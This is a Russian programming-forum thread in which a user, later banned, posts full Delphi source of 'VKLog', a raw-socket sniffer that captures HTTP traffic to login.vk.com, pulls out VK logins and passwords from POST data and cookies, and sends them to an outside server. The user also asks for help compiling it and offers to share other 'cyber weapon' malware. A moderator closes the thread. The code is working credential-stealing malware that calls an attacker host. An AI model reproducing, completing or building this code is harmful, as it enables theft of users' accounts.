Форум программистов, компьютерный форум, киберфорум
Delphi
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.53/19: Рейтинг темы: голосов - 19, средняя оценка - 4.53
Заблокирован

Компиляция на asm

11.08.2012, 20:51. Показов 3950. Ответов 23
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Нужно откомпилировать исходник на asm, я ассемблировал на masm32 а как откомпилировать программу на masm-е или asm-е имею смутное представления. Скачал DOSLINK, но на masm33 не заработал, привожу исходник


Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
     IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;program VKLog;
 
//{$APPTYPE CONSOLE}
 
uses
Windows,WinSock,
Parser in 'Parser.pas';
 
type
//- это IP-пакет
IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;
 
//- это ТCP-пакет(с заголвком и данными)
TCP_Packet = packed record
source_port, dest_port:word;
posl,podt:integer;
size,flags:byte;
window_:word;
cheksum:word;
urg_field:word;
data:array[0..65535] of char;
end;
 
Function GetLocalIP : String;
Var WSAData: TWSAData;
P: PHostEnt;
Name: array[0..$FF] of Char;
Begin
WSAStartup($0101, WSAData);
GetHostName(Name, $FF);
P := GetHostByName(Name);
Result := inet_ntoa(PInAddr(P.h_addr_list^)^);
WSACleanup;
End;
 
Function LookupName(name:String): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
 
Function ConnectToHost(sock:Tsocket;host:string;port:integer):integer;
var
sServrerAdr:sockaddr_in;
begin
sServrerAdr.sin_addr.S_addr := htonl(INADDR_ANY);
sServrerAdr.sin_family := AF_INET;
sServrerAdr.sin_port := htons(port);
sServrerAdr.sin_addr := LookupName(host);
 
Result := connect(Sock,sServrerAdr,sizeof(sServrerAdr));
end;
 
Procedure SendRequest(sock:TSocket;Req:string);
var
TempStr:string;
SendBuf:array [0..1023] of char;
begin
TempStr := req + #13#10;
CopyMemory(@SendBuf,Pchar(TempStr),Length(TempStr));
send(sock,SendBuf,Length(TempStr),0);
end;
 
procedure SendDataTOServer(login:string;password:string);//отправка данных на сервер (пхп скрипт)
var
wData:WSAData;
soket:TSocket;
Request:string;
begin
Request := 'GET [url]http://vk-hack.h18.ru/serv.php?login=[/url]' + login + '&pass=' + password + ' HTTP/1.1' + #13#10 +
'Host: vk-hack.h18.ru:80'+ #13#10 +
'Accept: text/html;q=1, image/jpeg;q=0.5, */*' + #13#10 +
'User-agent: VKLoger' + #13#10;
WSAStartup(MakeWord(1,1),wData);
soket:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
ConnectToHost(soket,'wm-babos.h1.ru',80);
SendRequest(soket,Request);
sleep(500);
closesocket(soket);//ответ от сервера не волнует
end;
 
Procedure TestHeader(Header:string);//проверка HTTP пакета на валидность (вырезание из него пароля или куков)
var
ReqType:string;
Host:string;
Cookie:String;
Post:string;
pass:string;
login:string;
begin
Header := EnterTrim(Header);
ReqType := GetRequestType(Header);
if (ReqType = 'POST') or (ReqType = 'GET') then
begin
Host := GetHost(Header);
if (Host = 'login.vk.com') and (ReqType = 'GET') then
begin
Cookie := GetCookie(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
if (Host = 'login.vk.com') and (ReqType = 'POST') then
begin
Post := GetPostParams(Header);
login := GetValueFromString('email',Post);
pass := GetValueFromString('pass',Post);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
exit;
end;
 
if ISServAnswer(Header) then
begin
Cookie := GetCookieSet(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') and (pass <> 'deleted') and (pass <> 'deleted') then
SendDataTOServer(login,pass);
exit;
end;
 
end;
 
procedure DoSnifer;
var
IP_Size:byte;
SBuf:string;
HTTPHeader:string;
LastRequestType:String;
RequestType:string;
 
S:TSocket;
Adr:TSockAddr;
W:WSAData;
flag,count:integer;
a:array[0..262144] of byte;
 
IP:IP_header;
TCP:TCP_Packet;
 
begin
LastRequestType := '';
HTTPHeader := '';
 
WSAStartup(MakeWord(2,2),W);
S:=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
ZeroMemory(@Adr,sizeof(Adr));
Adr.sin_family:=AF_INET;
Adr.sin_addr.S_addr:=inet_addr(pchar(GetLocalIP));
bind(S,Adr,sizeof(Adr));
flag:=1;
ioctlsocket(S,$98000001,flag);
 
While true do
begin
count:=recv(S,A,sizeof(A),0);//читаем данные
Move(A[0],IP,SizeOf(IP));//заполняем структуру IP пакета
 
if ip.Proto = 6 then// если в IP пакете TCP пакет то продолжить
begin
IP_Size := IP.ver_length;
IP_Size := (IP_Size and 15)*4 ;//вычисляем размер IP пакета из структуры
FillChar(TCP,SizeOf(TCP),0);
Move(A[IP_Size],TCP,Count - IP_Size{SizeOf(TCP)});//заполняем структуру TCP пакета
sBuf:=TCP.data;//читаем данные из TCP пакета (HTTP пакет)
SBuf := Trim(SBuf);
 
RequestType := GetRequestType(SBuf);
 
 
if RequestType = 'POST' then//если пост запрос то
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
LastRequestType := 'POST';//указываем что произошел пост запрос
Continue;
end;
 
//если к нам пришел не пост запрос(ответ от сервера, GET запрос и т.д)
if (copy(RequestType,1,4) = 'HTTP') or//если ответ идет от сервера то функция GetRequestType вернет HTTP/x.x
(RequestType = 'GET') or
(RequestType = 'HEAD') or
(RequestType = 'OPTIONS') or
(RequestType = 'TRACE') then
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
TestHeader(HTTPHeader);// отправляем запрос на проверку
LastRequestType := '';
Continue;
end;
 
//если никакой запрос не пришел и последний запрос был POST то
if (copy(RequestType,1,4) = 'HTTP') or
(RequestType <> 'GET') and
(RequestType <> 'HEAD') and
(RequestType <> 'POST') and
(RequestType <> 'OPTIONS') and
(RequestType <> 'TRACE') and
(LastRequestType = 'POST') then
begin
HTTPHeader := HTTPHeader + #13#10#13#10 + SBuf;//добавляем данные(параметры POST запроса) к запросу
end;
end;
end;
closesocket(S);
WSACleanup;
end;
 
Procedure InfectCOMP;
begin
//можно написать процедуру добавления в автозагрузку
end;
 
var
id:cardinal;
thr:Cardinal;
begin
InfectCOMP;
thr := BeginThread(nil,0,Addr(DoSnifer),nil,0,id);
while true do
sleep(1000000);
end.
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
11.08.2012, 20:51
Ответы с готовыми решениями:

компиляция asm в Linux
Заинтересовал тут меня вопрос о средах программирования для МК AVR под Linux. Из поисков в сети понял, что GCC вполне годный компилятор, но...

Компиляция ASM в HEX (PIC18F4220)
Здравствуйте, у меня в курсовой работе нужно в протеусе собрать схему, в этой схеме используется кристалл PIC18F4220. Схему я собрал, но...

Компиляция файла asm в exe
Здравствуйте, подскажите пожалуйста - у меня есть файл asm с кодом, мне нужно его скомпилировать в exe для запуска на windows 32x и 64x,...

23
Заблокирован
15.08.2012, 13:43  [ТС]
Студворк — интернет-сервис помощи студентам
Он перехватывает запрос на авторизацию. скинь видео, как откомпилировал
0
191 / 29 / 8
Регистрация: 15.09.2011
Сообщений: 430
15.08.2012, 18:27
Цитата Сообщение от Sophos Посмотреть сообщение
Delphi
1
http://vk-hack.h18.ru
Дальше сами догадаетесь?
Ну что что-то не чистое то я знаю XD Меня интересует подробный функционал.
0
Заблокирован
15.08.2012, 21:03  [ТС]
Если я расскажу тебе подробный функционал и еще прокоментирую, откомпилить поможешь-?

Добавлено через 8 минут
Я приведу исходник одного вируса. настоящие кибероружие,механизм у него такой создает шеллкод,переполняя буфер и использует маску поиска, я его откомпилировал и ели справился и изолировал, он отрубил мне инет, скину в личку видос+инструкцию и получишь ты кибер оружие, комплируй на WMare а ты исправишь этот код идет-?
0
Почетный модератор
 Аватар для Puporev
64320 / 47616 / 32743
Регистрация: 18.05.2008
Сообщений: 115,167
15.08.2012, 21:08
Так, тема не тема а сплошной флуд постепенно переходящий в обсуждение вареза, запрещенное Правилами нашего форума, а посему тему закрываю.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
15.08.2012, 21:08

Поменять местами части строк. Раздельная компиляция QuickC (*.c + *.asm)
Даны 2 строки. Нужно поменять местами их первые, ну допустим 5 символов. Ну т е 5 символов второй строки запихать в 1ю,а 5 символов 1й...

В двумерном массиве A[N*M] найти максимальный элемент в последнем столбце. (раздельная компиляция asm и C)
Есть массив A. extern &quot;C&quot; int Fun(int *a); z = Fun(*A); Надо вернуть максимальный элемент в последнем столбце. .686 ...

Отсортировать по возрастанию только числа, меньше порога, введенного с клавиатуры (раздельная компиляция asm и C)
Отсортировать по возрастанию только числа, меньше порога, введенного с клавиатуры. Сортировку производить в массиве D. Числа больше...

Отредактировать текст, удаляя те слова, которые имеют больше 3-х гласных. (раздельная компиляция asm и C)
Как посчитать гласные в ассeмблере, сравнить регистр с пробелом и куда записать слово? Если я написал ерунду, то с помощью чего решить...

Зеркально поменять местами разряды внутри старшего и младшего байтов каждого числа. (раздельная компиляция asm и C)
Сюда посылаю 16-битовое число. Как зеркально поменять местами разряды внутри старшего и младшего байтов числа? MASM. .686 .MODEL...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
24
Закрытая тема Создать тему
Новые блоги и статьи
Мысли в слух
kumehtar 17.08.2026
Забавно, насколько сейчас стала доступна информация. Например о магии, духовном развитии, медитациях, и других подобных направлениях, ранее зачастую тайных, передаваемых от учителя к ученику. Хотя. . .
Перемещение строк из ТЧ в другой документ с учетом текущего пробега
Maks 17.08.2026
Реализация из решения ниже выполнена на примере нетипового документа "Автозапчасти", с ТЧ "Шины". За основу взят алгоритм отсюда: https:/ / www. cyberforum. ru/ blogs/ 359708/ 10838. html Задача: . . .
Саморегулирующийся социальный контракт для сервера cross-section.
Hrethgir 14.08.2026
С кодом конечно таких глубоких размышлений пока не было, впрочем я уже привык к алгоритмизации. Суть предмета записи: снова в диалоге с нейросетью (я взял пока себе ник для учётки админа - Rector). . . .
Часы электронные
Uhbif79 12.08.2026
Выкладываю программу часов. Программа позволяет: 1. Использовать системное время и дату, 2. Есть возможность вводить время и дату вручную. 3. Реализованы 2 будильника: начало и конец рабочего дня. . . .
Часы с будильником на основе класса QLCDNumber
Uhbif79 12.08.2026
Всем добрый день, выкладываю программу часов с будильником на основе класса QLCDNumber. Здесь я пробовал самостоятельно создавал классы, впервые столкнулся с видимостью переменной одного класса из. . .
Установка MinGW GCC 16.2 и CMake
8Observer8 10.08.2026
VK Видео: https:/ / vkvideo. ru/ video-240781534_456239017 YouTube: eY5-5PyI9NM Текстовая версия
Неделя из жизни имитационной модели склада: мои кривые руки растут, откуда надо
anaschu 10.08.2026
Неделя из жизни имитационной модели склада: как я почти написал неправильную логику и что с этим делать Работаю сейчас над учебно-рабочим проектом: строю в AnyLogic имитационную модель процессов. . .
Калькулятор для расчета родства
russiannick 07.08.2026
1. Задача: Создать калькулятор для расчета родства. Родственных связей существует 8 ступеней, такие как: p - отец P - мать q - муж Q - жена b - брат B - сестра s - сын S - дочь
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru